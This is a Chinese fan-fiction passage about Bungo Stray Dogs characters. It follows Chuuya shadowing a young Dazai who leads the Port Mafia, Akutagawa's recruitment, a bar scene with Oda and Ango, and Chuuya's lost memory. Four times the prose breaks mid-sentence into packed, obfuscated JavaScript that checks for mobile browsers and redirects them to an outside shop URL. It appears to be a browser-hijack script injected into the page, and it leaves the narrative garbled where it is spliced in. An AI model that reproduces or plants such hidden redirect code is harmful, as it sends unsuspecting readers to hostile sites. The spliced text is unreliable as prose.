“首领啊,枪还是握不稳吧……”中也微抬了头,质询的目光透过额角碎发直逼太宰治,顺手把枪往自己这捅了捅:“要不我帮你开?” 像是被最讨厌的人挑衅了,太宰治的眼睛里翻涌着怒火,但那扳机就是没扣得下去。 “你以为我真的是为你着想吗?”见太宰治暂时没有动作,中也一手攀上太宰治的手腕,继续步步紧逼:“还真是自恋啊混蛋,我只是担心森鸥外回来之前,港口Mafia变得一团糟……在我心里,永远只有森鸥外一个首领……” “我不想让你有事,说白了也只是为了森……” 中也最后一句还没说完,太宰治就猛地抽出了枪,狠狠丢开中也的手,满面怒容,连眼底都泛出了点血丝。 “……你明天可以不用来了。” 中也没管他说什么,自顾自爬起来,拍拍身上的灰:“我又不是你招进来的,你说了不算。” “现在我才是……” 中也轻笑了一声,他发现跟这人有时候不能太讲理:“是,你是首领,除了把我开除,你看我连HR都去了,我很听话吧?” 说完这句,中也暗自思考会不会太重了,虽然他在太宰治脸上没看出多大变化,但这人可善于伪装了…… “行,你听话,你厉害,不过如果你做这一切都是为了回到以前的岗位,我劝你还是尽早放弃。”太宰治扔开枪,脱了外套,指了指门口:“可以滚了。” 中也歪头,冲他一笑,而后真的大摇大摆踱步到门口,走之前还没忘把门带上: “多谢,首领再见。” 太宰治缓了好久,才从地上捡起刚刚中也脱手的绷带,开始处理自己的伤口。 芥川的罗生门打人还是太疼了。至于后面能进化出什么样子,就留给以后的敌人慢慢消受吧。 “气死我了,小屁孩……” 中也喝完第三杯水,才稍稍平静了一点,他对面坐着的魏尔伦正在回消息,手指在屏幕上点个不停,闻言抬了抬眼: “正常嘛,港口Mafia事太多了,他才十八。” “到底谁想出来让他当首领啊!我真怕他还没撑到森鸥外回来就把自己搞死了。” “你这是担心他,还是担心Mafia,还是说担心森鸥外回不来?” 魏尔伦放下手机,给中也续了一杯水。 “虽然我们才合作没几天,但毕竟也是你哥哥,我友情提醒一下,别把这位太宰治当成你所熟悉的那个搭档,他们不是一个人。” “这我知道,来这第一天就知道”,中也叹了口气:“但我怎么能眼看着他乱来?” “是挺乱来的,那天要不是我通知你,你赶到及时,这会我们可能就在首领的葬礼上了……就算不是葬礼,也免不了去医院看他。” 中也摇了摇头,没有接话。 “对了,我还没问过,在你那个世界,你们的关系如何?” “是搭档,在那家伙叛逃之前是。后来他到了对家,就是抬头不见低头见的敌人……想想就来气。” 魏尔伦不禁挑了挑眉,揶揄道:“如果真是宿敌,这会看到他你应该不会是这样吧?保护他干嘛?” 中也噎住了,果然不管在哪魏尔伦还是这般眼尖。 “所以你们后来是……” 魏尔伦发问,中也噤声。 于是有些问题在沉默中得到了默认。 “嘿,还真是想不到呢”,魏尔伦心想弟弟长大了,不过转念又一想这俩好像也不是同一个人,果然外貌容易忽悠人:“不管了,你既然想早点回去,我们就继续合作,反正对双方都好。” “知道的”,中也摆摆手,思索片刻加了一句:“不过我和太宰……你就算知道也别说。” “说了也不会有人信吧。”魏尔伦失笑,现任首领和沦落为HR的重力使,说成是死对头还有点信服力,至于刚才中也承认的……那真的得放在另一个世界才能成立吧。 不过这倒是提醒他了,如果中也当真那么了解太宰治,或许可以再发挥一下这点。 “中也,还有件事,或许你可以一并做了。”魏尔伦招招手,凑近中也耳边简述了几句。 “哈?”中也听完有点想疯。 “冷静一点,就当是帮Mafia一把了”,魏尔伦把他按住,语重心长:“虽然你目前看上去只有十七八岁,但是,你可比现在的我们多活了快十年啊!也只有你能做到了!” 有一瞬间,中也都怀疑面前这个魏尔伦被夺舍了,跟他说的是什么玩意?本来他追在太宰后面,防止人把自己玩死就够累了,魏尔伦竟还想让他跟太宰治交涉,好让自己重新回到原来的位置上! 太宰治在办公室对着他开枪的场景还历历在目呢,这么快就要让他痛苦重现吗? “你自己肯定也想回到一线吧,而且那样你可以接触到更多信息,也便于你保护首领嘛对不对?” “谁要保护他?!” “行了,我会帮你的,我看红叶他们其实也都想让你回去,只要找一个适当的时机,加上我们顺水推舟……” “什么时机?等到了那会搞不好我都回去了。” 魏尔伦摇摇头,笑了:“我看马上就是那个时机了。你也知道,纪德不会每时每刻都跟芥川龙之介凑在一起,对吧?” 镭钵街的黄昏温度下降得很快,太宰治背对着夕阳靠在墙上,静静看着一旁的芥川龙之介。那小孩板着一张脸,罗生门在身后随时准备着。 “放心,这里就我们俩”,太宰治轻笑一声,扯了扯手腕上的绷带:“不过你真觉得,自己很强吗?如果没了罗生门,你还会什么呢?” 本来芥川不知道太宰突然到访是为了什么,于是一直戒备非常,毕竟他打爆了Mafia一整只队伍,收到的恐吓威胁也不少。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375155|200059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但太宰治猛然来这么一句,让他原本平静的眼神里莫名多出了一丝杀意。 “你说什么?” 那声音低低的,狠狠的,但太宰治听来根本就无所谓。 “我说错了吗”,他扭头瞥了一眼芥川龙之介,继续道:“别以为打败了几个Mafia的人就了不起,如果真有本事,一开始你的那些同伴根本就不会出事……” 芥川龙之介像是被击中了,罗生门泛出暗红的光圈,手在身侧握得死死的。 太宰治仍不松口:“你还有个妹妹,对吧?” 听得有人提起芥川银,芥川龙之介立马警觉起来,看向太宰治的眼神里杀意更重了。 “看,就是这副模样”,太宰治突然抬脚走近,撑着墙俯身对着芥川龙之介,丝毫不在意张牙舞爪的罗生门: “光有脾气和那蹩脚的异能可不行,你想保护你妹妹,这还远远不够……” “上次要是没有纪德,你还会赢吗?” “不、用、你、管……” 芥川龙之介低着头,缓缓吐出几个字。而太宰却笑了,顺手搭在了芥川肩膀上。 一个不注意,某人就地就被缴了械。 “看,我说什么来着?”太宰治睨了他一眼,见人不服气地瞪着他,神情转而严肃了些。 “在我这,你还不够格。” 这句话很轻,却狠狠砸在了芥川龙之介心上,他顿时泄了气般别过头,肩膀不住抖动着。 “不过,我可以让你变强……”太宰治压低了声音,边说边观察芥川的反应。 “反正你也被Mafia盯上了,大家都在讨论怎么处理你……如果你这时候加入,看看以后能不能将功补过。” 芥川依旧没有回头,但看样子是在沉思。 “要不算了,毕竟我看你……就算我亲自训练,也不会变强到哪里去,你这一辈子,就带着妹妹继续逃吧……” 这句话再次刺激了芥川龙之介的神经,他突然回头,恶狠狠地盯着太宰治,但因为被人抓着无法使用罗生门,只好用脚朝太宰治踢过去。 结果被轻松防住了。太宰治往旁边一撤,顺手挡住芥川的下一个攻势,接着抬手一挥,一拳把人击倒在地。 尘土四起。 “太弱了。”黑风衣还稳稳的在肩上,太宰治转转手腕,冷笑着看过去。 就在芥川抹了把脸上的血,站起来准备继续时,一道声音随着落下去的夕阳划破了街道的寂静。 “再打下去,只能明天来HR这里办入职咯,我可不想加班。” 太宰治表情有一瞬间的凝滞,被芥川龙之介尽收眼底。他静静看着这位未来的老板翻了个白眼,阴着脸看向出现在街口的橘发青年。 “害,跟人家小孩好好说话……”中也先是冲太宰治点了点头,而后不顾身后之人的怒容,转身走向芥川龙之介: “你叫芥川龙之介对吧?跟首领谈得差不多了就一起回去吧,这冷死了。”说完,还挑衅似的回头瞟了一眼太宰治。 “哎,我跟你说”,中也似乎觉得不够,还凑近跟芥川耳语了几句: “别听他胡说,你小子今后小心啊,跟着他有的受的……” 背后的太宰治好像又在摸索腰间的枪,金属的咯哒声卷着冷风传来。 “不过放心,港口Mafia除了他都是正常人,如果他欺负你,可以随时来找我告状哦……” 9. 消失的双黑 太宰治觉得中也没完了,或者说是,完全没救了。 自从芥川龙之介和芥川银办了入职,中也就开始了对自己的“穷追不舍”。 太宰连线小分队布置任务,电话是可以被切线偷听的;训练芥川龙之介的时候,是会被不时查岗的;就连单独出去办点什么事,中途或者结束都会不时瞥到一撮橘色。 他找过尾崎红叶,委婉地提醒让她看好自己的下属,但是对方似乎并不知情: “哦……中也吗?那个小鬼最近都在办公室的吧,任务也都完成了的。妾身会注意的,有情况会告诉首领。” 连干部都护着他吗?太宰治不知道中也是什么时候这么得人心了,但最近他的下属看他的眼神似乎也有点奇怪。 好像自从中也在半空中把他捞住,这种情况就初见端倪了。一开始大家还以为这只是一次普通的,员工针对老板疯狂行为的营救,但后来,中也不仅在他和纪德对峙时出现,还插手了芥川龙之介的收编,以及后面各种大大小小的事。 后来他听织田作谈起,才知道Mafia如今上下都在传,中原中也和他是不是有什么……特殊的关系。 “能有什么?太夸张了吧,等我把这些人找出来,看看用什么能堵住他们的嘴……”太宰治接过加冰的威士忌,和织田作轻轻碰了下杯。 “年轻同事乱说的罢了,毕竟这段时间他对你似乎格外关照,你别多想”,织田作饮了一口酒,淡淡笑道:“其实这样也没什么不好。” 后面一句话很轻,似乎是说给他自己听的,但太宰治敏锐地偏头,几乎是不相信这话会从织田作口中说出,鸢色的眸子里带了几分质疑:“说什么呢?” 织田作抹了把脸,叹了口气,没有接话。 他只是单纯觉得,太宰治当上首领后,有些事情上太乱来。就比如之前跟纪德,他也没想到他这朋友的解决办法就是极限一换一,要不是重力使赶到,这会他估计也没办法来Lupin了。 照这样说,有一个仿佛装了太宰追踪器的人时时跟着,防止他受伤什么的,也不错。 尽管太宰治本人对这种行为深恶痛绝。 “话说你什么时候跟中也处成那样了?森鸥外在的时候也不这样吧。”良久,织田作发问。 冰块碰撞,发出细碎的脆响,回荡在昏黄的酒吧内。太宰治闷声饮酒,低眸沉思。 “你什么时候见得我们关系好了?” “我的意思是,那会你没现在这么……厌恶他。”织田作本来想说挤兑,因为就在森鸥外离开不久,由于一次小小的换货失误,甚至推究起来还不是中也的问题,太宰治就作出了那震惊总部上下的决定。 “毕竟他也是森鸥外看中的啊,你这样做,有想过后果吗?而且,你们以前是搭档啊。” 听到最后两个字,太宰治的神经似乎被什么牵动了,他拧着眉纠正:“不再是了……搭档,也只是森先生给我们下达的命令罢了。” “可是也只有你们联手,有些事才能解决吧……” “织田作,你喝多了”,太宰治搁下杯子,平静地望过去:“总有一天,港口Mafia和横滨,会不再需要双黑……而我,比任何人都期望这天的到来。” 一时间,织田作不知道是手里的威士忌更冷,还是太宰治的话更让人意想不到。 好在,就在二人静默对坐时,酒吧的门从外面被推开了。古旧的门铃发出顿响,淡淡的咖啡香悄然出现在各种酒精的味道里。 太宰治不禁提了提嘴角,冲身后人打趣:“又迟到。今天得请我们俩喝酒哦……” 来人回以轻笑,在太宰治旁边拉开一把椅子,放下公文包后点了一杯咖啡和一杯番茄汁。 “喂,我说的是你请客,是不是听错了……”太宰治敲了敲桌面,但那人并未在意,只是越过太宰治的肩头跟一旁的织田作点头致意。 “安吾,最近还好吗?” “还是通宵赶稿。所以再来一杯咖啡。” “切,活该,自己给自己找事做……”被忽视的太宰治有些不爽,恹恹地哼了一声,转过头不再看坂口安吾。 “好啦,挺久没见了。”织田作拍了拍太宰的肩,拎起杯子又跟他碰了一下。 坂口安吾习惯了太宰治的脾气,也不恼,等自己点的都端上来后,便抬手抽走太宰治面前的酒杯,换成那杯红红的果汁。 “干嘛,我不喝这个,像血……”太宰治抗议道。坂口安吾推了下眼镜,把酒杯推得更远:“我看你才是喝多了,首领要注意身体,不知道吗?” “就你还会关心人”,太宰治抿了一口番茄汁,酸得眯起了眼:“快换回来吧……” 坂口安吾见状,把酒杯直接送给了酒保,断了太宰治最后的念想。 “行,刚才那杯反正也算你的。” “最近你和那个中原中也是怎么回事?”坂口安吾灌了口咖啡,单刀直入,没有理会太宰治的不满。 “怎么一个两个都来问这个?看样子我真得把他开除才行吗?”太宰治冷冷回应。 坂口安吾歪头,对上织田作的目光:“你怎么看?” “喂,就没有别的事要谈吗安吾!”太宰亦倾身,试图挡住二人视线的交流。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375156|200059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无果。 “我觉得中原是看在搭档的情分上一直关照太宰吧,但也不至于像最近总部传闻的那样。” “嗯,你这个还算合理”,坂口安吾点点头,搅了搅咖啡:“你应该也听过,说中也是森先生安排在太宰身边的跟班的也有……我最近太忙,等回过神来这些话都满天飞了……” 织田作失笑,他的目光在坂口安吾疲惫的脸上停留了一会,而后继续专注于自己那半杯威士忌,察觉到太宰治意味不明的眼神后揶揄道: “你确实要少喝酒了太宰。” 太宰治不语,转了转果汁杯,有些无奈:“我坐上这个位置后,我们在这见的,这才是第二次吧。” “是啊,上一次已经好久了”,坂口安吾夹了一块方糖:“每天都累死了,也没心情来看你这张阴沉沉的脸……” “什么啊,首领可是很忙的,安吾你怎莫这样?”太宰治突然凑近,脑袋抵了抵坂口安吾肩,声音都拖长了几分。 “离我远点。”坂口安吾翻了个白眼,抬手按下太宰治朝酒保作出的手势,转头和织田作相视一笑。 “切……” “不过啊,太宰”,片刻,坂口安吾喝完了咖啡,像是想起了什么:“别人说倒是一码事,你自己怎么想的?就算是首领,有个搭档也不是不可以的,你这样……” “欸,你怎么跟织田作一样了”,太宰治枕在自己手臂上,佯装厌烦地抱怨了几句。 “那都是森先生在的时候的事了,现在的港口Mafia,早就没有双黑了,有的只是首领太宰治。” 他说这话的时候头完全埋在臂弯里,听起来闷闷的,也完全没注意到身边两个人复杂的表情。 “时间不早了,喝完就各自回去吧。”良久,太宰治把头露出来,十分不悦地灌了几口番茄汁。 坂口安吾看他那样子,不禁笑了笑,而后出声提议到:“我们……拍个照吧?下次喝酒不知道什么时候了。” 太宰治闻言立马转过头,嘴角扯了扯:“欸……不行哦,这样你就有了不来的借口呢,对吧织田作。” 织田作只是安静地笑笑,没有搭话,然后半抬了手臂,示意碰杯。 “看,二比一,今天不拍照。” 久违的,这个十八岁的首领松了口气,有些开心地举起小半杯果汁,悬在半空。坂口安吾见状无奈一笑,只得配合。 温黄的灯下,三个杯子轻轻撞在一起,发出犹如旧风铃的脆响。 玻璃相聚的瞬间,握着杯子的三个人心照不宣地出声,低低的,却又是笃定的。 “为了野犬……” 10. 截胡 “喂,起来啊,不是觉得自己很强吗?” Mafia总部,某间不见天日的屋子,太宰治转了转手腕,无视顺着指节流下的血迹,低头冲着地上趴着的人微微一笑:“这就受不了了?那今天就到这吧……太弱了。” 说罢,他转身欲走,黑色的风衣带起一片灰尘,呛了地上人一脸。 整个空间伸手不见五指,估计扶着墙走路都得注意脚下,所以很难想象这两个人已经在这待了快一个下午。 钝痛从芥川龙之介的手腕蔓延开去,但其实不只是手腕,他感觉浑身上下没有一处不在散发着疼痛的讯号。 但那人嘲讽般的语气还在耳旁,明明很轻很低,却反复回环,让他几近耳鸣。 “太弱了……” 他弱吗? 其实自从发现了自己的异能,有很长一段时间芥川龙之介处于深深的迷茫之中。他不知道该怎么使用这种力量,也不知道什么时候用。在普通人面前,身为异能者的他当然强的可怕,但现在,在港口Mafia的首领这,他却节节败退,不能靠近分毫。 太弱了……这样下去,他怎么保护芥川银?怎么保护一切他想保护的?他该怎么在异能高手如云的总部待下去? 他又到什么时候,才能在这人的口中听到哪怕一个字的赞美…… 听到身后传来悉悉索索的声音,太宰治顿住了脚步,望着头顶一片黑色暗自发笑。 芥川龙之介挣扎着站起,刚准备继续使用罗生门,手腕就被人狠狠攥住,接着整个人往前一冲,尽管他使劲用脚刹住了做缓冲,还是免不了重重一摔。 太宰治拍拍手,本想继续开口,但在黑暗中他察觉到了一丝不对劲。 空间陷入诡异的沉默。 “出来。”没多久,太宰治先开了口。 没有声音。芥川龙之介亦没有动作。 “中也,出来!” 见没人应他,太宰治立马改换了口吻,恶狠狠地对着一个方向低语。 还没从自己这一摔竟然没事的震惊中缓过来的芥川龙之介此刻明白了几分,警惕地转过头。而顺着太宰治刚落下的话语,一阵脚步声由远及近。 “对新人不要这么凶啊首领。”终于,中也的声音从暗处传来,刮得太宰治的耳膜突突地痛。 他怎么进来的?!钥匙没给过任何人,难不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375157|200059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成他撬了锁?! “哎呀这地方真暗,待久了不行的,差不多就出去吧。” 即便能见度很低,中也还是一下就发现了太宰治的位置,他一把捞住那人,小声吐槽:“你这么带他,想让他以后跟你一样疯啊?” “就你刚才搞那个突袭,他经得住吗,已经伤成这样了?” 所以这就是你用重力给他缓冲的理由吗?无数个问题在太宰治的脑海里愤怒地盘旋,一时间他不知道该先挑出哪个来质问他。 又是一阵静默。 “就这么帮小鬼进去,能行吗?”屋外,尾崎红叶扶着额头,有些忧心地问道。 “没事,你不觉得这样挺好吗?”魏尔伦靠着墙,一脸无所谓:“这可是咱们未来的同事啊,不能任由首领魔鬼训练,会出事的。” 广津柳浪在一旁表示赞同。自从中也那天高空救美后,他再也不用天天为首领的人身安全提心吊胆了,于是数天前他就加入了为中也提供太宰治行程的队伍。 而在他身后,织田作不知何时也走了过来。 走廊上的灯也很昏暗,他抬头,目光绕过人群,和另一双眼睛交汇,然后相视一笑。 11. 断片的记忆 屋内的寂静诡异得可以戳穿地球。中也在黑暗中来回扭头,毫不在意浑身散发出杀气的太宰治,一副敌不动我不动的样子。 良久,才听得身旁这位首领脆脆地打了个响指,紧接着啪嗒一声,门开了。 “芥川,今天结束了。” 本来倚在一旁的芥川龙之介撑着墙缓缓起身,低低应了声好。 廊内昏黄的光线漏进来,在地上映出不规则的形状,稍显慌乱的窃窃私语也顺道从微开的门缝里挤了进来。 “哎呦,门开了,老头子我们先溜……” “妾身想起来还有事,先走一步。” “看路,把我鞋子踩掉了!” 中也抱着胸无奈摇头,估摸着自己的队友散得差不多了,便也不等太宰治,自顾自先踏了出去。然后他就听得身后传来那个青花鱼教育港口Mafia未来新星的声音: “违抗命令的后果是很严重的……我和他的话,你只能听一个的,如果觉得跟不上我的训练,明天起可以不用跟着我了……” “反正我也没见过你这么弱的。” 中也背对着他兀自翻了个白眼,心说果然不管在哪,嘴还是那么毒。这套专属话术在他看来简直就是某人的防伪标识,整个横滨找不出第二个这么说话的。都说了芥川还小,要真能从这话里品出点别的,也不至于后面变得那么……偏执。 而太宰治如果长期在任港口Mafia首领,以后的场景中也不敢想象。 不行,怎么说他都不能让这事一发不可收拾,新人的训练期可是很关键的!这次有他在,港口Mafia的新人一定会充满阳光地实现完美成长! 但不知为什么,中也想这事的时候,有些记忆突然涌了上来,他记得前些年他跟某个混蛋就这个话题差点吵起来。 “中也既然觉得不对,当时干嘛去了?” “废话,那会我说的话你会听吗?” “没想到中也这么善良呢,要是早点发现就好了……” 欸,一想到当时那人的语气中也就有点浑身发毛,但这段对话出现的又太莫名其妙,跟他脑海里紧接着蹦出来的一个词一样。 ……慈母严父? 中也觉得自己有点疯了。要是放在以前,这词还有一个说头,毕竟两人一起过了那么多年;但在这?他回头瞥了一眼,名叫太宰治的小少年正阴郁地瞪着他呢。 在这他根本就是这个行为极端分子的跟班啊,跟前跟后就怕人出事,还被搞得名不正言不顺的。说的话也不听,一遇到事就闷闷地炸毛,想想就气。 不过好在中也向来都是迎难而上,他已经决定了,在自己回去之前,要把这里太宰治的思想给扭过来。不求别的,只求他好好活着别乱折腾,因为港口Mafia确实需要他,因为说不定,这里的重力使也需要这么一个能一起走很远的……搭档。 魏尔伦之前笑过他,觉得他想给首领宰做人生导师的想法有些不切实际,但中也就是觉得凭自己多年的了解,总能找到点共性。 “如果一点相似都没有,他还叫太宰治干嘛呢?” 孤零零的脚步声回荡在空旷的走廊里,中也整了整袖口,准备继续往前走,却在听到太宰治的声音后又顿住了。 “织田作,你怎么也在?” 中也闪到暗处的窗帘,狐疑地弯了弯眼,他最近很少能在总部跟织田作碰面。 “今天还有事吗?” “没—有—”太宰治的尾音拖得很长,十分懒散。中也不禁起了一身鸡皮疙瘩,这人在干什么啊,这里还有人呢,首领严肃的形象终于端不住了吗? “哎,我和你回去吃咖喱吧?” “……嗯,可以。”织田作低沉的声音飘过,接着是并排的脚步声。 哎呦,还要一起去吃饭吗?吃过饭会不会又去倒腾一些稀奇古怪的计划,然后第二天带着伤去总部? 中也用发散性思维思索着,一面留意着脚步声。 越来越近。 等到两个影子快移动到中也站着的角落时,他鬼使神差地抬脚,伸手,向前一把勾住了撑着黑色风衣的肩:“首领,我可以和你们一起去吗?” 这种声线,搁以前中也绝不相信自己能发出来,但现在他反复提醒自己肩负着的感化太宰治的责任,一大个不小心,就豁出去了。 他不算了解织田作,但基本可以确定有他在场太宰治发作的可能性比较低。 果然,太宰治的脸色由白转红再转白,眼角抽搐的幅度几乎带动了绷带共振。 首领试图抽出肩膀,被重力使的手劲压制;首领试图掏枪,被捂嘴偷笑的织田作用另一只手拦下来了。 于是首领气呼呼地自己走了。 “可以去吗织田作?我……”见太宰治离开,中也收起自己夸张的笑脸,对着织田作礼貌地点点头。 织田作惊异于面前重力使收放自如的演技,结合之前流行于总部休息室的传闻,一时没能从震撼中缓过来。他先抬脚追上太宰治,一边点头招手示意中也可以跟上。 “中也啊,你是不是真以为森先生不在你就可以为所欲为?” 趁着织田作在厨房,太宰治把枪横在桌上,状似不经意地开口。中也倒了三杯水,哼笑一声:“怎么?咖喱店是你开的吗,我不能来?” “……我说的是这个吗?难不成偷听首领说话也是重力使工作的一部分?” 中也有些心虚地转身喝水,却差点和一个从楼梯上飞跑下来的小女孩撞在一起。 “咲乐!” 小女孩差点滑倒在地,被中也用重力缓冲了一下,才歪歪斜斜地重新站好。中也目测她四五岁的样子,圆圆的脸上扑闪着两颗宝石般的大眼睛,手里还拖着一个毛茸茸的玩具熊,往那一站就像个可爱的瓷娃娃,一看就被照顾得很好。 织田作闻声从厨房探出头,见咲乐没事,感激地看了中也一眼。 “下次带着安妮玩的时候小心点!”他嘱咐了一声,又转身继续忙活了。那个叫咲乐的孩子甜甜地答了一句,抱起小熊小跑到旁边玩去了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375158|200059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >中也知道织田作收养了几个孩子,刚才的事也不过是在正常不过的小插曲,但不知为什么,他在听到“安妮”两个字的时候,头莫名地疼了一下,眼前也没来由一阵模糊。 就好像在他应有的记忆里,这个词曾经反复出现过。 中也被自己的反应弄得很不舒服,便想去厨房问问织田作,却被一旁的太宰治拉住了。 “……” “干嘛啊,我去厨房帮忙……” “织田作不需要。”太宰治一手撑在桌台上,一手狠狠扣住中也的手腕,他低垂着头,缕缕碎发掩住了额头,也掩住了他的表情。但从这漠然的语气来看,他心情很不好。 “切,你又不是织田作……”中也说着便要挣脱,但奈何此人抓得太紧,这一用力,牵连着凳子在地上刺啦了几声表示抗议。 中也此刻也有点来火,他甚至都懒得问太宰治管他这个干什么,他又不会给织田作传输什么信息,又不会跟他提起纪德还是谁谁,他感觉这人就是存心想让他闹心来的。 两人拉扯了一会,没注意织田作已经端着盘子出来了。 “这是在?” 太宰治见状甩开中也的手,默不作声地接过织田作手上的东西。 中也暂时把话搁在一边,也接过盘子,拿起餐具吃了起来,一面不忘观察太宰治的神情,若有所思。 用餐临近结束的时候,中也起身帮织田作收拾,趁太宰治喝水的当,转头问了织田作一句:“刚才那个小姑娘咲乐,她的娃娃叫安妮?” “对”,织田作微微一笑:“前两天刚给她买的,后来就自己起了个名字。” “港口Mafia最近,有谁见过露西吗?” 或许是没想到他问得这么直白,织田作愣了一下,而就是这一愣,中也断定有情况。 之前魏尔伦跟他讲过,自己是因为某次换货失败才被降职的,当时他们的地点被泄露,遭到了突袭。说来不能怪中也,因为那次是叛徒泄密,但那伙突袭的人是谁,魏尔伦却说不知道。 “这件事后来保密还挺严的,你感兴趣直接去问太宰治好了嘛,当时应该是他把你提出来的……” 后来中也再问,魏尔伦都说言语已尽,无可奉告。 想来记忆可以不接上集,但现在这具身体的本能反应不会骗人。中也感觉自己那会的经历应该就是和“安妮”这个词有关,不然怎么会听到那个词就条件反射似的。 安妮……安妮的房间……露西…… 合着是他们吗? 剧烈的头痛阵阵袭来,中也颤着双手把盘子放稳,实在有些撑不下去,便匆匆先告了辞。出了店,他强撑着拿起手机,拨通了魏尔伦的电话:“找你,现在……还是那家咖啡店。” 店内,太宰治阴沉着脸,轻轻把勺子搁在盘子边,却撞出很大的声响。 “织田作”,他歪头,鸢色眼睛里的情绪不可名状: “你今天不该同意他来的。” “如果他想起来了,有些事会更麻烦的……” 12. 把人给我 太宰治从织田作那里离开后,径直回了家,或许是抵不住满脑子杂乱思绪所带来的疲惫,他竟歪在沙发上睡着了。 这一觉很不踏实,还伴随着有中原中也出场的梦境。 “办公室这么暗,也不知道把窗帘拉开。”中也像往常一般不敲门就闯入他的办公室,顺手拉开落地窗前沉重的窗帘。那天好像下雨了,窗外全是灰色,根本没有光。 “今天要出任务吧?”他手头上还有一沓子情报,对中也的突然来访不甚在意。 那会他已经有意让中也少出一些高危险性任务了,还在思考着过段时间怎么把人也送去欧洲,但这些早就被中也看穿,他们因此冷战了挺长时间。 “对,今天去盯换货……太宰,我们上次一起出任务是什么时候了?” 看,又问。 “暂时不需要。” “是不需要,还是故意不需要?” “欸,中也知不知道,我最近很忙的?” “哼,果真是混蛋,当了首领就忘了搭档……”听到这的中也似乎有些生气,话都没说完就整整外套走了,留下一句淡淡的“下次我可不会听你的”。 可当时太宰根本没在意这句话,因为他也没想到所谓“下次”,会来得那么快。 被公会偷袭的警报传到总部的时候,太宰治正准备去找纪德。即便是在梦里,这份窒息感还是显得那么真实,因为和警报一同传来的,还有中也负伤的消息。 梦境在此时都变得模糊紧张起来,太宰治明明记得自己反复确认过,才让中也独自前往交货地点……为什么突然来的会是公会?而等他把昏迷不醒的搭档拎出来的时候,那家伙意识涣散,在医院躺了几天醒来之后竟然忘了那天的事。 心脏好像被一双无形的手揪住了,太宰治额头骤然生出一层冷汗,待他从沙发上惊坐起的时候,口中还下意识地喊着中也的名字。 真是够了,什么时候这一切才能一了百了啊…… 太宰治摇摇头,起身瞥了一眼时间,还没到八点。他抓起外套披在身上,打算出去走走。 三月的风还是冷的,吹在脸上让他堪堪清醒了一点。风衣猎猎作响,霓虹灯的光圈在街两侧的水洼里慢慢荡开,而此刻,横滨的夜晚才刚刚开始。 魏尔伦到底还是被中也摇到了咖啡店里。他根本没有六点之后接触咖啡因的习惯,不过电话那头中也听上去状态很不好,说到底还是自己的“弟弟”,想要日后携手共建新横滨怎么能这会丢下他不管呢。 但看到中也脸色苍白地坐在自己对面,魏尔伦立马就做好了待会得把人背回家的觉悟。 “要不明天再说?中也你这样还是赶紧躺下的好。” 魏尔伦对店员小姐姐笑了一下,随便指了两个东西就转过头劝道:“你要倒在这里我怎么办啊?” 中也没有理他,他心中充斥的疑问必须要马上解决,既然太宰治那不能给他答案,他就只能赌魏尔伦会跟他说实话。 “那天出任务之后,我是不是失忆了?”中也咬着牙问完,双眼紧紧盯着魏尔伦的脸。魏尔伦一愣,他没想到契机来得这么快。 看着对面一副“是你自己猜出来的不关我事”的表情,中也反倒松了一口气。 “所以到底发生什么了,都这会了就说吧。” 这会店员刚好把魏尔伦点的东西端过来,中也看了眼那熟悉的齁甜曲奇,朝魏尔伦投去揶揄的目光。 “你吃饭了吗,要不来点,我怕你听完之后经不住。”魏尔伦象征性地推荐了一下曲奇,不出所料被拒绝后便尽量不添油加醋地把那件事说了一下。 他说那天其实就是消息走漏,中也接头的时候好巧不巧被公会盯上了,而对方好巧不巧拿了一帮孩子作为要挟,中也不方便动手,拉扯中就被攻击地很惨。 “哎呦你是不知道首领把你带回来的时候,那样子我感觉他下一秒就要跑去炸楼……后来这事保密还挺严的,除了他和我,最多再算上织田作吧,应该就没人知道了。” “所以大家眼里看到的,就是你任务失败,然后突然被降职了。” “你往好了想,太宰治这样也算是在保护你了,被那么危险的组织盯上又不是什么好事……”魏尔伦尽量说得轻松点,但他毕竟不会读心术,看着中也变幻莫测的表情也不知如何是好。 